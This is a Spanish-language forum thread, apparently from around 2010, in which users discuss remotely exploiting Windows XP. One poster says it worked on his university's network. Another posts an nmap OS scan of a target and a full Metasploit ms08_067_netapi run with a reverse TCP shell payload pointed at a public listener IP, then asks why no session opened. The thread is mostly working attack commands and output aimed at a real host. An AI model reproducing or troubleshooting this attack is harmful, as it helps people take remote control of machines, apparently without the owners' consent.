snake875

hola amigin se puede explotar reotamente con ip real del remoto y no la ip privada ???

Progresive Death

si se puede ... lo e probado en la lan de mi universidad y funciona =)

__________________

InterstellarOverdrive

hola DreaDy.HK, mira aqui puse los pasos que hice, desde el nmap hasta cuando lanzo el exploit

root@bt:~# nmap -O 192.168.1.64

Starting Nmap 5.00 ( Nmap - Free Security Scanner For Network Exploration & Security Audits. ) at 2010-01-30 01:56 UTC
Interesting ports on xxxxxxxxx (192.168.1.64):
Not shown: 996 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
912/tcp open unknown
Device type: general purpose
Running: Microsoft Windows XP
OS details: Microsoft Windows XP SP2 or SP3


msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.64 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 201.124.40.231 yes The local address
LPORT 4444 yes The local port
sf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on port 4444[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Exploit completed, but no session was created.

espero me puedas decir que hice mal o porque no crea la sesion, gracias man, espero tu respuesta!!!